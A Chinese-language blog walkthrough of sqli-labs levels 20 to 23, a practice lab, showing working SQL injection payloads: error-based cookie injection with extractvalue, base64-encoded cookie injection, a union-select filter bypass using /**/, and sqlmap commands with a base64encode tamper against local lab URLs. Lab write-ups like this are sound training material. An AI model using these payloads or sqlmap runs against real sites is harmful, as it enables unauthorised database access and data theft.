第20题
输入用户名密码发现是这样的页面
抓包看看,尝试cookie注入:
admin' and extractvalue(1,concat(0x7e,database()))#
其他好做了。
第21题
抓包是这样:
看看这uname什么成分?
可以看到是对admin先进行了base64编码,然后对=进行了url编码
这里尝试对admin进行base64编码后再整个进行url编码,可以看到反应正常
注入思路:将注入语句按照同样方式编码。
首先对'进行编码并注入:
再对“进行编码后注入:可以看到'报错,”不报错,闭合方式与'有关,再看上图的报错,尝试')闭合
这里对') or 1=1#编码后注入:不报错,找到闭合方式。
爆库:
首先进行编码
爆表名
这里建议编码的时候只编码最后一位符号即可
好像不用url编码也可以
其他就简单了,如果用sqlmap扫描,只需要一句话
sqlmap -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode
注意tamper必须是base64encode
第22题
使用admin登录:
抓包查看
使用'注入发现不报错,使用“报错
查看报错信息:应该就是”闭合
闭合方式为“闭合
爆库名:
爆表名
其余同理。
第23题
打开页面
查看闭合方式:'报错,“不报错
发现不管后面加空格还是#都会网页错误
应该是对某些字符进行了过滤,可以看到对-没有过滤
那就好办了
注释语句-- -中的空格可以使用/**/代替
结果发现注释并没有起作用,那应该是把-也过滤了。
换个payload吧
?id=-1'or'1'='1
因为我们知道是'闭合方式,所以注入后相当于id=-1'or'1'='1'limit 0,1
?id=-1'union/**/select/**/1,database(),3/**/and'1'='1
其实交给sqlmao一句话就搞定了
sqlmap -u http://localhost/sqli-labs-php7-master/Less-23/?id=1 --dbs
甚至参数都不用加
标签:编码,20,23,--,闭合,labs,sqli,报错,注入 From: https://www.cnblogs.com/limihacker/p/17444208.html